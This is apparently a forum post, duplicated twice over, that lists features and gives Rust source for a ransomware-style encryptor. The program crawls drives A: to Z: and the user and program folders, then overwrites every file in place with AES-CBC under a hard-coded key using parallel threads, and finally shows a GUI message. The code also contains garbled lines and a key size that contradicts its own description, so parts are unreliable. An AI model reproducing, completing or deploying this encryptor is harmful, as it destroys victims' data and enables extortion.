Currently it does the following:
File Encryption:
The application walks through specified root directories (drives and common system folders) to collect a list of file paths.
It uses multi-threading to process each file concurrently.
Encryption Algorithm:
The files are encrypted using the Advanced Encryption Standard (AES) algorithm in Cipher Block Chaining (CBC) mode.
A fixed encryption key (KEY: [u8; 32]) is used for encryption.
Multi-Threading:
The application utilizes multiple threads to improve performance.
Files are processed concurrently by worker threads, which encrypt the contents in chunks.
Logging:
The application logs its activities using the log crate.
It prints information about the encryption process, errors, and file paths.
GUI:
The GUI is built using the Druid.
The GUI displays a window with a simple message.
The GUI is launched within the main function after processing the files.
Root Paths:
The application specifies a list of root paths to search for files. These paths include various drives (A:\, B:\, etc.) and common system directories.
Error Handling:
The application provides error handling for file operations, encryption errors, and other potential issues.
Код:
Скопировать в буфер обмена
use std::fs::OpenOptions;
use std::{Read, Write, BufReader, Seek, SeekFrom};
use std::error::Error;
use walkdir::WalkDir;
use log::{error, info};
use crypto::buffer::{ReadBuffer, RefReadBuffer, RefWriteBuffer, WriteBuffer};
use crypto::aes::{KeySize, cbc_encryptor};
use crypto::blockmodes:kcsPadding;
use std::sync::{Arc, Mutex};
use std::thread;
use std::sync::mpsc;
const KEY: [u8; 16] = *b"your-key";
const CHUNK_SIZE: usize = 8192; // Set your desired chunk size
#[derive(Debug)]
struct CryptoError;
impl std::fmt:isplay for CryptoError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "CryptoError: SymmetricCipherError")
}
}
impl std::error::Error for CryptoError {}
fn encrypt_file(file_path: &str) -> Result<(), Box<dyn Error>> {
info!("Encrypting file: {}", file_path);
// Open the file in read-write mode
let file = match OpenOptions::new().read(true).write(true).open(file_path) {
Ok(file) => file,
Err(err) => {
// If opening the file fails (e.g., it's being written by another process), skip this file
error!("Could not open {}: skipping file. Error: {:?}", file_path, err);
return Ok(());
}
};
let metadata = std::fs::metadata(file_path)?;
let original_size = metadata.len();
let mut reader = BufReader::new(&file);
// Encrypt the contents of the file in chunks
let mut read_buffer = [0; CHUNK_SIZE];
let mut write_buffer = [0; CHUNK_SIZE + 16]; // Assuming 16 bytes for integrity check
let encryptor = cbc_encryptor(KeySize::KeySize128, &KEY, &[0u8; 16], PkcsPadding);
let mut encryptor = Box::new(encryptor);
let mut offset: u64 = 0;
loop {
let read_count = match reader.read(&mut read_buffer) {
Ok(count) => count,
Err(err) => {
error!("Error reading from {}: {:?}", file_path, err);
return Ok(());
}
};
if read_count == 0 {
break;
}
let mut temp_file = match file.try_clone() {
Ok(temp_file) => temp_file,
Err(err) => {
error!("Error cloning file {}: {:?}", file_path, err);
return Ok(());
}
};
let mut read_buffer = RefReadBuffer::new(&read_buffer[..read_count]);
let mut write_buffer = RefWriteBuffer::new(&mut write_buffer);
let _res = match encryptor.encrypt(&mut read_buffer, &mut write_buffer, true) {
Ok(res) => res,
Err(err) => {
error!("Encryption error: {:?}", err);
return Err(Box::new(CryptoError));
}
};
let write_count = write_buffer.position() as usize;
// Move the file cursor to the correct position and write the encrypted content
match temp_file.seek(SeekFrom::Start(offset)) {
Ok(_) => (),
Err(err) => {
error!("Error seeking in {}: {:?}", file_path, err);
return Ok(());
}
}
if let Err(err) = temp_file.write_all(&write_buffer.take_read_buffer().take_remaining()[..write_count]) {
error!("Error writing to {}: {:?}", file_path, err);
return Ok(());
}
if let Err(err) = temp_file.flush() {
error!("Error flushing {}: {:?}", file_path, err);
return Ok(());
}
offset += read_count as u64;
}
// Truncate the file to make it appear encrypted
if let Err(err) = file.set_len(original_size) {
error!("Error truncating {}: {:?}", file_path, err);
return Ok(());
}
info!("Encrypted: {}", file_path);
Ok(())
}
fn process_file(file_path: &str) {
if let Err(err) = encrypt_file(file_path) {
error!("Error encrypting {}: {:?}", file_path, err);
}
}
mod gui;
fn main() {
// Initialize logger
env_logger::Builder::from_env(env_logger::Env::default().default_filter_or("info"))
.write_style(env_logger::WriteStyle::Auto)
.init();
let root_paths = vec![
"A:\\",
"B:\\",
"D:\\",
"E:\\",
"F:\\",
"G:\\",
"H:\\",
"I:\\",
"J:\\",
"K:\\",
"L:\\",
"M:\\",
"N:\\",
"O:\\",
"P:\\",
"Q:\\",
"R:\\",
"S:\\",
"T:\\",
"U:\\",
"V:\\",
"W:\\",
"X:\\",
"Y:\\",
"Z:\\",
"C:\\Users",
"C:\\Program Files",
"C:\\Program Files (x86)"
];
let arc_files = Arc::new(Mutex::new(Vec::new()));
for root_path in root_paths {
let files: Vec<_> = WalkDir::new(root_path)
.into_iter()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.file_type().is_file())
.map(|entry| entry.path().to_string_lossy().to_string())
.collect();
let mut arc_files = arc_files.lock().unwrap();
arc_files.extend(files);
}
let (tx, rx): (std::sync::mpsc::Sender<()>, std::sync::mpsc::Receiver<()>) = std::sync::mpsc::channel(); // Create a channel for communication
let handles: Vec<_> = (0..num_cpus::get())
.map(|_| {
let arc_files = Arc::clone(&arc_files);
let tx = tx.clone(); // Clone the sender for each thread
thread::spawn(move || {
loop {
let file;
{
let mut files = arc_files.lock().unwrap();
file = files.pop();
}
match file {
Some(file) => process_file(&file),
None => {
// Signal the main thread that this worker is done
tx.send(()).unwrap();
break;
}
}
}
})
})
.collect();
// Launch the GUI
gui::run_gui(arc_files.clone(), rx, tx.clone());
// Wait for all worker threads to finish
for _ in handles {
tx.send(()).unwrap(); // Send a message to each worker to exit
}
}
File Encryption:
The application walks through specified root directories (drives and common system folders) to collect a list of file paths.
It uses multi-threading to process each file concurrently.
Encryption Algorithm:
The files are encrypted using the Advanced Encryption Standard (AES) algorithm in Cipher Block Chaining (CBC) mode.
A fixed encryption key (KEY: [u8; 32]) is used for encryption.
Multi-Threading:
The application utilizes multiple threads to improve performance.
Files are processed concurrently by worker threads, which encrypt the contents in chunks.
Logging:
The application logs its activities using the log crate.
It prints information about the encryption process, errors, and file paths.
GUI:
The GUI is built using the Druid.
The GUI displays a window with a simple message.
The GUI is launched within the main function after processing the files.
Root Paths:
The application specifies a list of root paths to search for files. These paths include various drives (A:\, B:\, etc.) and common system directories.
Error Handling:
The application provides error handling for file operations, encryption errors, and other potential issues.
Код:
Скопировать в буфер обмена
use std::fs::OpenOptions;
use std::{Read, Write, BufReader, Seek, SeekFrom};
use std::error::Error;
use walkdir::WalkDir;
use log::{error, info};
use crypto::buffer::{ReadBuffer, RefReadBuffer, RefWriteBuffer, WriteBuffer};
use crypto::aes::{KeySize, cbc_encryptor};
use crypto::blockmodes:kcsPadding;
use std::sync::{Arc, Mutex};
use std::thread;
use std::sync::mpsc;
const KEY: [u8; 16] = *b"your-key";
const CHUNK_SIZE: usize = 8192; // Set your desired chunk size
#[derive(Debug)]
struct CryptoError;
impl std::fmt:isplay for CryptoError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "CryptoError: SymmetricCipherError")
}
}
impl std::error::Error for CryptoError {}
fn encrypt_file(file_path: &str) -> Result<(), Box<dyn Error>> {
info!("Encrypting file: {}", file_path);
// Open the file in read-write mode
let file = match OpenOptions::new().read(true).write(true).open(file_path) {
Ok(file) => file,
Err(err) => {
// If opening the file fails (e.g., it's being written by another process), skip this file
error!("Could not open {}: skipping file. Error: {:?}", file_path, err);
return Ok(());
}
};
let metadata = std::fs::metadata(file_path)?;
let original_size = metadata.len();
let mut reader = BufReader::new(&file);
// Encrypt the contents of the file in chunks
let mut read_buffer = [0; CHUNK_SIZE];
let mut write_buffer = [0; CHUNK_SIZE + 16]; // Assuming 16 bytes for integrity check
let encryptor = cbc_encryptor(KeySize::KeySize128, &KEY, &[0u8; 16], PkcsPadding);
let mut encryptor = Box::new(encryptor);
let mut offset: u64 = 0;
loop {
let read_count = match reader.read(&mut read_buffer) {
Ok(count) => count,
Err(err) => {
error!("Error reading from {}: {:?}", file_path, err);
return Ok(());
}
};
if read_count == 0 {
break;
}
let mut temp_file = match file.try_clone() {
Ok(temp_file) => temp_file,
Err(err) => {
error!("Error cloning file {}: {:?}", file_path, err);
return Ok(());
}
};
let mut read_buffer = RefReadBuffer::new(&read_buffer[..read_count]);
let mut write_buffer = RefWriteBuffer::new(&mut write_buffer);
let _res = match encryptor.encrypt(&mut read_buffer, &mut write_buffer, true) {
Ok(res) => res,
Err(err) => {
error!("Encryption error: {:?}", err);
return Err(Box::new(CryptoError));
}
};
let write_count = write_buffer.position() as usize;
// Move the file cursor to the correct position and write the encrypted content
match temp_file.seek(SeekFrom::Start(offset)) {
Ok(_) => (),
Err(err) => {
error!("Error seeking in {}: {:?}", file_path, err);
return Ok(());
}
}
if let Err(err) = temp_file.write_all(&write_buffer.take_read_buffer().take_remaining()[..write_count]) {
error!("Error writing to {}: {:?}", file_path, err);
return Ok(());
}
if let Err(err) = temp_file.flush() {
error!("Error flushing {}: {:?}", file_path, err);
return Ok(());
}
offset += read_count as u64;
}
// Truncate the file to make it appear encrypted
if let Err(err) = file.set_len(original_size) {
error!("Error truncating {}: {:?}", file_path, err);
return Ok(());
}
info!("Encrypted: {}", file_path);
Ok(())
}
fn process_file(file_path: &str) {
if let Err(err) = encrypt_file(file_path) {
error!("Error encrypting {}: {:?}", file_path, err);
}
}
mod gui;
fn main() {
// Initialize logger
env_logger::Builder::from_env(env_logger::Env::default().default_filter_or("info"))
.write_style(env_logger::WriteStyle::Auto)
.init();
let root_paths = vec![
"A:\\",
"B:\\",
"D:\\",
"E:\\",
"F:\\",
"G:\\",
"H:\\",
"I:\\",
"J:\\",
"K:\\",
"L:\\",
"M:\\",
"N:\\",
"O:\\",
"P:\\",
"Q:\\",
"R:\\",
"S:\\",
"T:\\",
"U:\\",
"V:\\",
"W:\\",
"X:\\",
"Y:\\",
"Z:\\",
"C:\\Users",
"C:\\Program Files",
"C:\\Program Files (x86)"
];
let arc_files = Arc::new(Mutex::new(Vec::new()));
for root_path in root_paths {
let files: Vec<_> = WalkDir::new(root_path)
.into_iter()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.file_type().is_file())
.map(|entry| entry.path().to_string_lossy().to_string())
.collect();
let mut arc_files = arc_files.lock().unwrap();
arc_files.extend(files);
}
let (tx, rx): (std::sync::mpsc::Sender<()>, std::sync::mpsc::Receiver<()>) = std::sync::mpsc::channel(); // Create a channel for communication
let handles: Vec<_> = (0..num_cpus::get())
.map(|_| {
let arc_files = Arc::clone(&arc_files);
let tx = tx.clone(); // Clone the sender for each thread
thread::spawn(move || {
loop {
let file;
{
let mut files = arc_files.lock().unwrap();
file = files.pop();
}
match file {
Some(file) => process_file(&file),
None => {
// Signal the main thread that this worker is done
tx.send(()).unwrap();
break;
}
}
}
})
})
.collect();
// Launch the GUI
gui::run_gui(arc_files.clone(), rx, tx.clone());
// Wait for all worker threads to finish
for _ in handles {
tx.send(()).unwrap(); // Send a message to each worker to exit
}
}